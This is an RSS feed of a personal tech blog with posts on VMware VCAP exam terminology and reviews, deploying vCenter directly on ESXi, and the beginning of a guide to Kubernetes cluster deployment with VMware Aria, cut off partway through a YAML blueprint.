<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>SSH.Guru - tech, rants and memes</title>
    <link>/</link>
    <description>Recent content on SSH.Guru - tech, rants and memes</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Sun, 01 Oct 2023 00:00:00 +0000</lastBuildDate><atom:link href="/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>vcap design terminology pocket guide</title>
      <link>/posts/231001-vcap-design-term-pocket-guide/</link>
      <pubDate>Sun, 01 Oct 2023 00:00:00 +0000</pubDate>
      
      <guid>/posts/231001-vcap-design-term-pocket-guide/</guid>
      <description>Please note that the guide below should only be considered a quick reference for people already experienced with enterprise infrastructure design who are studying for a VCAP Design exam. This is in no way an alternative for proper training such as VMware CAL, TOGAF, etc.
1: design process Assess - this is where the design begins with requirements and other data gathering from the customer; you should identify business objectives, key stakeholders and scope of the engagement.</description>
      <content>&lt;p&gt;Please note that the guide below should only be considered a quick reference for people already experienced with enterprise infrastructure design who are studying for a VCAP Design exam. This is in no way an alternative for proper training such as VMware CAL, TOGAF, etc.&lt;/p&gt;
&lt;h2 id=&#34;1-design-process&#34;&gt;1: design process&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Assess - this is where the design begins with requirements and other data gathering from the customer; you should identify business objectives, key stakeholders and scope of the engagement. Conceptual designs, current state reports are common deliverables in this phase.&lt;/li&gt;
&lt;li&gt;Design - an iterative process consisting of multiple cycles of writing design drafts, reviewing designs with stakeholders and interviewing key people to better understand their goals. By the end of this phase, all design blueprints should be signed-off (conceptual design, logical design, and physical design).&lt;/li&gt;
&lt;li&gt;Deploy - installation and configuration of the solution as per the design; often also includes changes to the design caused by unexpected complications or additional requirements. Configuration and installation workbooks are usually produced as part of the deployment,&lt;/li&gt;
&lt;li&gt;Validate - after the build, the solution has to be verified to make sure it meets the business objectives and goals; this is also when the customer can learn the mechanics of the solution. A successful validation should be documented in validation reports and testing results (DR, performance, etc)&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;2-three-step-design-model&#34;&gt;2: three-step design model&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Conceptual Design - high-level design based on the information gathered during the assessment phase; conceptual design should include business requirements, assumptions, constraints and risks along with design decisions and justifications.&lt;/li&gt;
&lt;li&gt;Logical Design - takes the points from a conceptual design and maps them to solution components; it defines how to arrange and use components and features of the infrastructure to satisfy the business requirements. Important to note that the logical design does not delve into details about each of the components - that&amp;rsquo;s where the physical design comes in.&lt;/li&gt;
&lt;li&gt;Physical Design - the lowest level design which maps everything from conceptual and logical designs to the actual hardware and software, and includes the configuration details needed to build the solution. This is the design which will primarily used by the engineers in charge of implementing the design and configuring the solution.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;3-design-requirements-assumptions-constrains-and-risks&#34;&gt;3: design requirements, assumptions, constrains and risks&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Requirements - describe what should be achieved in the project and what the solution needs to look like; the requirements must come from key business stakeholders and the ultimate goal of the design is to achieve each and every single one of them.&lt;/li&gt;
&lt;li&gt;Assumptions - conditions impacting the design which are believed to be true but must be confirmed before finalizing the design.&lt;/li&gt;
&lt;li&gt;Constraints - conditions that provide boundaries to the design; while requirements allow for multiple options and to make a design decision, constraints leave no room for changes and force a design decision without any input from a designer.&lt;/li&gt;
&lt;li&gt;Risks - factors which might have a negative impact on the design; before finalizing the design, all risks should be mitigated - this can be achieved by one of risk mitigation actions (accept, avoid, control, transfer, or monitor)&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;4-functional-vs-non-functional-requirements&#34;&gt;4: functional vs non-functional requirements&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Functional Requirements - describe what the system or solution must do; these also specify functions that the system or solution must perform. Common examples of functional requirements include:
&lt;ul&gt;
&lt;li&gt;Business Rules&lt;/li&gt;
&lt;li&gt;Administrative Functions&lt;/li&gt;
&lt;li&gt;Authentication&lt;/li&gt;
&lt;li&gt;Audit tracking&lt;/li&gt;
&lt;li&gt;Certification&lt;/li&gt;
&lt;li&gt;Reporting&lt;/li&gt;
&lt;li&gt;Legal and regulatory requirements&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Non-functional Requirements - describe the quality of the system or solution; these specify how the system or solution should work in order to support the functional business requirements. Generally, we can split non-functional requirements into the five categories below:
&lt;ul&gt;
&lt;li&gt;Availability - redundancy levels, single point of failure, class of nines&lt;/li&gt;
&lt;li&gt;Manageability - lifecycle management, scalability, capacity planning&lt;/li&gt;
&lt;li&gt;Performance - throughput, latency, transactions/operations per second&lt;/li&gt;
&lt;li&gt;Recoverability - RTO, RPO, MTD, restore process and methodologies&lt;/li&gt;
&lt;li&gt;Security - government regulations, industry standards, penetration testing standards&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content>
    </item>
    
    <item>
      <title>vcap-dcv design 2023: review &amp; tips</title>
      <link>/posts/230901-vcap-dcv-23-design-review/</link>
      <pubDate>Fri, 01 Sep 2023 00:00:00 +0000</pubDate>
      
      <guid>/posts/230901-vcap-dcv-23-design-review/</guid>
      <description>1: description The VCAP exams are totally different from VCPs (which you also need to pass in the same track to obtain the certification). While VCPs focus on facts and technical knowledge about products - or, in other words, what an administrator should know - VCAPs focus on two more advanced areas of expertise: the design of a solution and its deployment.
The VCAP Design exam&amp;rsquo;s main gimmick is the reliance on soft skills and semi-technical knowledge: design phases, business decisions and objectives, gathering customer requirements and so on and so forth.</description>
      <content>&lt;h2 id=&#34;1-description&#34;&gt;1: description&lt;/h2&gt;
&lt;p&gt;The VCAP exams are totally different from VCPs (which you also need to pass in the same track to obtain the certification). While VCPs focus on facts and technical knowledge about products - or, in other words, what an administrator should know - VCAPs focus on two more advanced areas of expertise: the design of a solution and its deployment.&lt;/p&gt;
&lt;p&gt;The VCAP Design exam&amp;rsquo;s main gimmick is the reliance on soft skills and semi-technical knowledge: design phases, business decisions and objectives, gathering customer requirements and so on and so forth. While its sibling, VCAP Deploy, can be considered a fairly easy test for anyone with some good experience in the product, the VCAP Design requires you to have knowledge which is not really that easily attainable and not stuff you learn &amp;ldquo;on the job&amp;rdquo;.&lt;/p&gt;
&lt;h2 id=&#34;2-review&#34;&gt;2: review&lt;/h2&gt;
&lt;p&gt;The exam is quite tough and there are two main reasons behind it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The technical questions are a bit vague. It&amp;rsquo;s not like a VCP where you can easily identify the most likely correct answers out of the given set. The questions presented to you on this exam are usually accompanied by 4-6 answers which on the first glance could be all correct. The winning difference is often in very subtle and minute details. It is very important for an exam taker to be aware of the difference between being technically correct and business correct. For example, a question might have an answer which aligns with the best practices however it wouldn&amp;rsquo;t meet the business goals outlined in the intro - to pass this exam you need to know/guess what&amp;rsquo;s more important in a given scenario.&lt;/li&gt;
&lt;li&gt;The non-technical questions rely heavily on VMware&amp;rsquo;s design philosophy and its concepts. For many it might be very obvious stuff but for most I&amp;rsquo;d say it&amp;rsquo;s not. Based on my experience, you shall study the following terms/principals before trying to pass this exam:
&lt;ul&gt;
&lt;li&gt;functional vs non-functional design requirements - you should understand the definitions of these terms and their implications&lt;/li&gt;
&lt;li&gt;design phases/types: conceptual, logical and physical - you will need to explain the differences between them and identify what should be present in each of them&lt;/li&gt;
&lt;li&gt;design/customer requirements, assumptions and constraints - again, you need to know the differences between then and correctly map definitions to examples&lt;/li&gt;
&lt;li&gt;stability, manageability, availability, performance, security and recoverability of a solution - same as above yet again&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;3-experience&#34;&gt;3: experience&lt;/h2&gt;
&lt;p&gt;This time, I managed to pass this on my first attempt. Don&amp;rsquo;t get me wrong - I still hate VCAP Design exams - but having passed VCAP-CMA Design earlier in the year, I knew what sort of questions to expect this time around. Again, the most important bit is to properly review and understand the design methodology I briefly outlines above. Without understanding these terms, you will struggle to score the minimum amount of points required to pass (300). I think next month I will post a more in-depth article about that.&lt;/p&gt;
&lt;p&gt;Other than that, the exam itself was very similar to a VCP - 60 questions, 2 hours to complete them, same quiz system. One difference is the presence of &amp;ldquo;mapping&amp;rdquo; questions where you are required to drag the names of design concepts to their definitions. It&amp;rsquo;s simple enough and could be replaced by multiple choice so it shouldn&amp;rsquo;t matter that much.&lt;/p&gt;
&lt;h2 id=&#34;4-tips&#34;&gt;4: tips&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;You do not need in-depth technical knowledge about the product. What I mean by that is that I wouldn&amp;rsquo;t focus on things you usually refresh on before a technical exam: ports, system requirements, commands - all of that will matter very little.&lt;/li&gt;
&lt;li&gt;On the other hand, it is very important to understand the relationships between products in scope and their high level definitions/use-cases. You probably won&amp;rsquo;t be asked how vCenter communicates with the ESXi hosts but you will definitely have to identify which products can coexist with another, which can be substituted and what sort of license you need for certain features.&lt;/li&gt;
&lt;li&gt;The soft skill / design questions are brutal. You need to understand the concepts very well but even then you might struggle correctly answering some of these questions. As an anecdote, on my first attempt, I was very confused by one question about functional vs non-functional requirements and after failing, I reached out to multiple VCDX holders for guidance&amp;hellip; and I ended up with &lt;em&gt;5 different opinions&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Despite being discontinued / outdated, the VVD (VMware Validated Design) documents are a great source of &amp;ldquo;VMware design principles&amp;rdquo;. I really recommend going through all them while learning the &amp;ldquo;soft skills&amp;rdquo; required for this exam.&lt;/li&gt;
&lt;/ol&gt;
</content>
    </item>
    
    <item>
      <title>vcap-dcv deploy 2023: review &amp; tips</title>
      <link>/posts/230801-vcap-dcv-23-deploy-review/</link>
      <pubDate>Tue, 01 Aug 2023 00:00:00 +0000</pubDate>
      
      <guid>/posts/230801-vcap-dcv-23-deploy-review/</guid>
      <description>1: description The VCAP exams, and the VCAP Deploy exam in particular, are totally different from VCPs (which you also need to pass in the same track to obtain the certification). While VCPs focus on facts and technical knowledge about products - or, in other words, what an administrator should know - VCAPs focus on two more advanced areas of expertise: the design of a solution and its deployment.
In the case of a VCAP Deploy exam, there is one more, far more impactful difference, the exam is a closed book, practical test.</description>
      <content>&lt;h2 id=&#34;1-description&#34;&gt;1: description&lt;/h2&gt;
&lt;p&gt;The VCAP exams, and the VCAP Deploy exam in particular, are totally different from VCPs (which you also need to pass in the same track to obtain the certification). While VCPs focus on facts and technical knowledge about products - or, in other words, what an administrator should know - VCAPs focus on two more advanced areas of expertise: the design of a solution and its deployment.&lt;/p&gt;
&lt;p&gt;In the case of a VCAP Deploy exam, there is one more, far more impactful difference, the exam is a &lt;strong&gt;closed book, practical test&lt;/strong&gt;. What that means is that instead of a quiz system, you are given access to a lab environment where you are asked to perform a set of tasks ranging from day 2 configuration/operations, troubleshooting/debugging to initial product deployment. The environment itself is very similar to what you would expect in HoL (hands on labs): you get a Windows Server jumpbox with a preconfigured set of applications and browser bookmarks and a side panel listing all the different exam objectives.&lt;/p&gt;
&lt;p&gt;Despite what I initially understood from the &lt;a href=&#34;https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/certification/vmware-advanced-deploy-exam-guide.pdf&#34;&gt;blueprint&lt;/a&gt;, this exam doesn&amp;rsquo;t give you access to documentation. This is one big grudge I have against it since similar exams in the industry allow you to access their documentation (Red Hat, Kubernetes). On the plus side, the exam is &lt;strong&gt;very&lt;/strong&gt; straightforward for anyone with hands-on experience with the product. With minimal preparation, I&amp;rsquo;d be willing to bet that anyone with 6+ months of experience can pass first time as long as they keep their head cool and think quickly on their feet.&lt;/p&gt;
&lt;h2 id=&#34;2-review&#34;&gt;2: review&lt;/h2&gt;
&lt;p&gt;The exam is admittedly very enjoyable if you know what you&amp;rsquo;re doing. The set objectives are not super difficult. You don&amp;rsquo;t have to be an ex-GSS member to know how to do the majority of the stuff needed to pass. As long as you pay attention to subtle details given in the questions or input data and make the most of the product GUI (embedded manuals, tip prompts etc), you can successfully complete given tasks without ever doing them before at work or in a lab. For example, I never touched SaltStack before attempting the exam and I figured what I need to do on the spot.&lt;/p&gt;
&lt;p&gt;Two important things to keep in mind are the time limit and the lack of documentation:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Time - despite the exam being quite low on question number (17), the allocated time is not super comfortable. You can easily assume that you will need 10-15min at least per question which leaves little time to review etc. My advice here is to skip questions you&amp;rsquo;re not 100% on as quickly as possible and move on to the next one. Once you go through all 12 you can then estimate how much time you&amp;rsquo;re left with and how much you can &amp;ldquo;spare&amp;rdquo; to re-attempt the skipped tasks.&lt;/li&gt;
&lt;li&gt;Documentation - as I said before, this is a closed book exam. You cannot access any whitepapers, websites or read offline PDFs. What you do have however is all the embedded help sections within the product(s). I would suggest to review what sort of info will be available on the spot and focus on everything else in your prep time.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;3-experience&#34;&gt;3: experience&lt;/h2&gt;
&lt;p&gt;I think it took me about a week to prepare for this exam (3V0-22.21N). During this time, I was mostly playing around in the ICM lab trying to familiarize myself with as many product features as possible. I ended up scoring 475/500 (300 to pass) on my first attempt. Thankfully, it seems like the review system doing the scoring for DCV must be a bit better than CMA as this time I didn&amp;rsquo;t have to wait 2 weeks for my results - I knew that I passed mere 7-8 hours after leaving the examination centre.&lt;/p&gt;
&lt;p&gt;One very important thing to keep in mind is that this exam WILL 100% INCLUDE SOMETHING BROKEN. What I mean by that is that you should be prepared to fix core lab components before tackling the real objective of a given question. On my exam, I had two challenges like that: first, I couldn&amp;rsquo;t perform tasks against a 3rd vCenter in the environment as that particular appliance had some stuck services; second, later on in the exam I discovered that one of the hosts had its management agents stuck.&lt;/p&gt;
&lt;h2 id=&#34;4-tips&#34;&gt;4: tips&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;This exam tests ALL your vSphere knowledge. It&amp;rsquo;s not enough to understand the ESXi hosts and the vCenter server. You should also make sure you are very well versed in VSAN, vDS networking, host profiles (LCM), vSphere user management, etc.&lt;/li&gt;
&lt;li&gt;As I mentioned above, when studying for this exam, pay close attention to the code samples in the official documentation. Some of it will definitely come handy during the exam however you need to remember it by heart as there will be no way to look it up in the exam center. This is especially true for anything related to SaltStack.&lt;/li&gt;
&lt;li&gt;Troubleshooting is very important. For one thing, you might need to fix some stuff in the lab to complete the objective. Additionally, since the lab has no &amp;ldquo;oh shit I f*cked up&amp;rdquo; button, knowing how to troubleshoot and fix issues with the product might prove to be essential when you accidentally break part of the exam environment, This is 100% possible and 100% will happen in the worst possible time&lt;/li&gt;
&lt;/ol&gt;
</content>
    </item>
    
    <item>
      <title>deploy vcsa with just esxi</title>
      <link>/posts/230701-deploy-vcsa-with-just-esxi/</link>
      <pubDate>Sat, 01 Jul 2023 00:00:00 +0000</pubDate>
      
      <guid>/posts/230701-deploy-vcsa-with-just-esxi/</guid>
      <description>the method - also works for upgrades, migrations, vcha&amp;hellip; Before we begin, download the latest vCenter installation media and extract the ova located under /iso-mount-point/vcsa/VMware-vCenter-Server-Appliance-(xxx)_OVF10.ova.
Next, open up the ESXi web client and start the Create/Register VM wizard. Select the option to deploy an OVF/OVA.
Enter a desired machine name and select the ova file extracted before.
Accept the EULA and proceed to appliance size and network selection screen. You can also choose whether the appliance should be thick or think provisioned as well as whether it should be powered on upon deployment.</description>
      <content>&lt;h1 id=&#34;the-method---also-works-for-upgrades-migrations-vcha&#34;&gt;the method - also works for upgrades, migrations, vcha&amp;hellip;&lt;/h1&gt;
&lt;p&gt;Before we begin, download the latest vCenter installation media and extract the ova located under &lt;code&gt;/iso-mount-point/vcsa/VMware-vCenter-Server-Appliance-(xxx)_OVF10.ova&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Next, open up the ESXi web client and start the &lt;code&gt;Create/Register VM&lt;/code&gt; wizard. Select the option to deploy an OVF/OVA.&lt;/p&gt;
&lt;p&gt;
  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/230701-deploy-vcsa-with-just-esxi/wizard.png&#34;   /&gt;
    
  &lt;/figure&gt;


Enter a desired machine name and select the ova file extracted before.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/230701-deploy-vcsa-with-just-esxi/ovaname.png&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Accept the EULA and proceed to appliance size and network selection screen. You can also choose whether the appliance should be thick or think provisioned as well as whether it should be powered on upon deployment.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/230701-deploy-vcsa-with-just-esxi/networksize.png&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;On the following screen you can then input all stage 1 configuration details - these are pretty much the same as the parameters you&amp;rsquo;d expect to set in the CLI deployment json except for settings exclusive to stage 2 (SSO etc). What&amp;rsquo;s worth noting here is that you can not only just install a new vCenter server with this method but also configure an initial vSAN cluster, vCenter HA, and perform a vCenter migration/upgrade.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/230701-deploy-vcsa-with-just-esxi/stage1.png&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Now, allow the appliance to deploy. This can take up 30min or so - be patient. You want to wait until the console displays the usual two-tone UI of a vCenter server&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/230701-deploy-vcsa-with-just-esxi/console.png&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Finally, open up your browser and navigate to &lt;code&gt;https://vcenterfqdn:5480&lt;/code&gt; to continue stage 2 of the installation as usual - nothing specific here; at this stage your deployment workflow is pretty much the same as with a normal GUI deployment.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/230701-deploy-vcsa-with-just-esxi/stage2.png&#34;   /&gt;
    
  &lt;/figure&gt;


</content>
    </item>
    
    <item>
      <title>k8s cluster deployment with vmware aria</title>
      <link>/posts/230530-aria-k8s-cluster-deployment/</link>
      <pubDate>Tue, 30 May 2023 00:00:00 +0000</pubDate>
      
      <guid>/posts/230530-aria-k8s-cluster-deployment/</guid>
      <description>before we begin Before we can move on to the real interesting bits, there are a couple of things we need to prepare (which are not in scope of this guide&amp;hellip;):
VMware vSphere and Aria Automation + Orchestrator Rocky Linux 9 VM template (base OS install) single NIC, set it to DHCP install perl and cloud-init packages DHCP server on the management network (any kind) prepare orchestrator ssh key While Orchestrator can help with installing and configuring SSH keys for interacting with the guest OS on virtual machines, we are going to ignore that functionality (to simply some things about this guide) and instead, we are going to save said pubkey as a secret in Aria Automation.</description>
      <content>&lt;h1 id=&#34;before-we-begin&#34;&gt;before we begin&lt;/h1&gt;
&lt;p&gt;Before we can move on to the real interesting bits, there are a couple of things we need to prepare (which are not in scope of this guide&amp;hellip;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VMware vSphere and Aria Automation + Orchestrator&lt;/li&gt;
&lt;li&gt;Rocky Linux 9 VM template (base OS install)
&lt;ul&gt;
&lt;li&gt;single NIC, set it to DHCP&lt;/li&gt;
&lt;li&gt;install &lt;code&gt;perl&lt;/code&gt; and &lt;code&gt;cloud-init&lt;/code&gt; packages&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;DHCP server on the management network (any kind)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;prepare-orchestrator-ssh-key&#34;&gt;prepare orchestrator ssh key&lt;/h1&gt;
&lt;p&gt;While Orchestrator can help with installing and configuring SSH keys for interacting with the guest OS on virtual machines, we are going to ignore that functionality (to simply some things about this guide) and instead, we are going to save said pubkey as a secret in Aria Automation.&lt;/p&gt;
&lt;p&gt;To do so, open up a connection to Orchestrator and copy its pubkey saved under &lt;code&gt;/var/lib/vco/app-server/conf/vco_key&lt;/code&gt;. Next, navigate to &lt;code&gt;Assembler&lt;/code&gt; -&amp;gt; &lt;code&gt;Infrastructure&lt;/code&gt; -&amp;gt; &lt;code&gt;Administration&lt;/code&gt; -&amp;gt; &lt;code&gt;Secrets&lt;/code&gt; and store in as a secret called &lt;code&gt;vro-ssh-key&lt;/code&gt;.&lt;/p&gt;
&lt;h1 id=&#34;blueprint&#34;&gt;blueprint&lt;/h1&gt;
&lt;p&gt;Before going back to Orchestrator, create a new Assembler blueprint for the k8s cluster. The code below deploys a user-defined set of VMs to act as master/worker nodes and configures some essential system settings via &lt;code&gt;cloud-init&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;formatVersion&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;inputs&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;master-count&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;type&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;integer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;title&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Enter the number of master nodes to deploy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;default&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;minimum&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;worker-count&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;type&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;integer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;title&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Enter the number of worker nodes to deploy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;default&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;minimum&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;mgmt-net&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;type&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;title&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Enter the name of cluster&amp;#39;s management network&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;description&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Name of the port group to be used for cluster management&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;readOnly&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;default&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;main&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;worker-data&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;type&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;integer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;title&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Enter the size of data disk for each worker node&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;description&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Storage space for persistent volume claims (PVCs) or other pod data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;default&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;resources&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;mgmt_net&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;type&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Cloud.vSphere.Network&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;properties&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;networkType&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;existing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;${input.mgmt-net}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;k8sm&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;type&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Cloud.vSphere.Machine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;properties&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;count&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;${input.master-count}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;image&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;rock000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;flavor&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;cpu2-ram4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;networks&lt;/span&gt;:
